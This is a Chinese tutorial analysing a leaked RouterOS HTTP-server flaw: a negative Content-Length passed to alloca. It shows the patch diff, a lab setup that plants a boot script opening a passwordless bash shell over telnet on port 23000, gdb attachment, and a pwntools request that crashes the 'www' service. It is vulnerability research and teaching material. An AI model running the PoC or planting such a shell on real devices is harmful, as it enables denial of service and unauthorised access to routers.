一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc
字数 1441 2025-08-25 22:59:03
RouterOS漏洞分析与利用教学文档
1. 漏洞概述
本漏洞是Vault 7泄露的RouterOS漏洞,影响6.38.5以下版本。漏洞位于www二进制文件中,涉及HTTP服务器处理Content-Length时的内存分配问题。
受影响版本:RouterOS 6.38.5以下版本
修复版本:6.38.5 (2017-Mar-09发布)
漏洞类型:栈分配不当导致的潜在缓冲区溢出
2. 漏洞分析
2.1 补丁对比
-
使用binwalk提取固件内容:
binwalk -Me mikrotik-6.38.4.iso binwalk -Me mikrotik-6.38.5.iso -
使用Diaphora插件进行二进制差异分析:
- 先打开6.38.4版本的www文件(www_6384)
- 使用Diaphora导出SQLite数据库
- 再打开6.38.5版本的www文件(www_6385)
- 使用Diaphora进行diff操作
-
关键差异点:
- 修复后的版本移除了
alloca调用 - 改为使用
string::string构造字符串 - 漏洞版本中
alloca参数为无符号数,但传入负值会导致栈顶以上数据被修改
- 修复后的版本移除了
2.2 漏洞原理
漏洞代码流程:
- 从HTTP请求头中获取
Content-Length值 - 将该值直接传递给
alloca分配内存 - 由于
alloca参数为无符号数,传入负值会导致异常内存分配
3. 环境搭建
3.1 安装RouterOS
- 使用VMware加载RouterOS ISO镜像
- 重要:硬盘类型必须设为IDE,否则会找不到驱动
- 启动虚拟机后:
- 按
a选择所有组件 - 按
i开始安装 - 一直输入
y确认
- 按
- 安装完成后重启
- 使用
admin和空密码登录
- 使用
- 网络配置:
- 输入
setup - 按
a进行自动配置 - 按照提示配置IP地址
- 输入
3.2 添加调试工具
由于RouterOS是高度裁剪的Linux系统,需要手动添加调试工具:
-
准备工具:
busybox和gdbserver(32位版本)
-
添加步骤:
- 关闭虚拟机,设置光盘镜像为Ubuntu Live CD
- 修改引导顺序为光盘优先
- 启动后选择"Try Ubuntu"
- 挂载RouterOS磁盘分区:
mount /dev/sda1 /mnt mount /dev/sda2 /mnt2 - 将
busybox和gdbserver复制到/bin目录(可能在sda1或sda2) - 创建启动脚本:
mkdir -p /mnt/etc/rc.d/run.d echo '#!/bin/bash mkdir /ram/mybin/ flash/bin/busybox-i686 --install -s /ram/mybin export PATH=/ram/mybin:$PATH telnetd -p 23000 -l bash' > /mnt/etc/rc.d/run.d/S99own chmod +x /mnt/etc/rc.d/run.d/S99own - 卸载分区并重启
-
验证:
- 重启后可通过telnet连接:
telnet 192.168.2.124 23000
- 重启后可通过telnet连接:
4. 调试与POC测试
4.1 调试设置
-
附加到www进程:
gdbserver.i686 192.168.2.124:5050 --attach $(pidof www) -
从开发机连接:
gdb target remote 192.168.2.124:5050
4.2 POC代码
from pwn import *
def makeHeader(num):
return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n"
s1 = remote("192.168.2.124", 80)
s1.send(makeHeader(-1) + "A" * 1000)
POC说明:
- 构造一个恶意的HTTP POST请求
- 设置
Content-Length为-1 - 发送大量数据触发漏洞
5. 漏洞利用分析
-
关键点:
alloca在栈上分配内存- 传入负值会导致分配异常大的内存空间
- 可能导致栈溢出或内存破坏
-
潜在利用方式:
- 通过精心构造的负值控制栈指针
- 结合后续写入操作实现任意代码执行
-
限制:
- 需要精确控制分配大小和写入数据
- 受限于栈布局和内存保护机制
6. 修复建议
- 升级到RouterOS 6.38.5或更高版本
- 修复方案:
- 移除不安全的
alloca调用 - 使用更安全的字符串构造方法
- 添加对
Content-Length值的合法性检查
- 移除不安全的
7. 参考资源
- 文中涉及的文件下载:
- 链接: https://pan.baidu.com/s/1i5oznSh
- 密码: 9r43
- 工具:
- binwalk: 固件提取工具
- Diaphora: 二进制差异分析插件
- busybox: 精简的Linux工具集
- gdbserver: 远程调试工具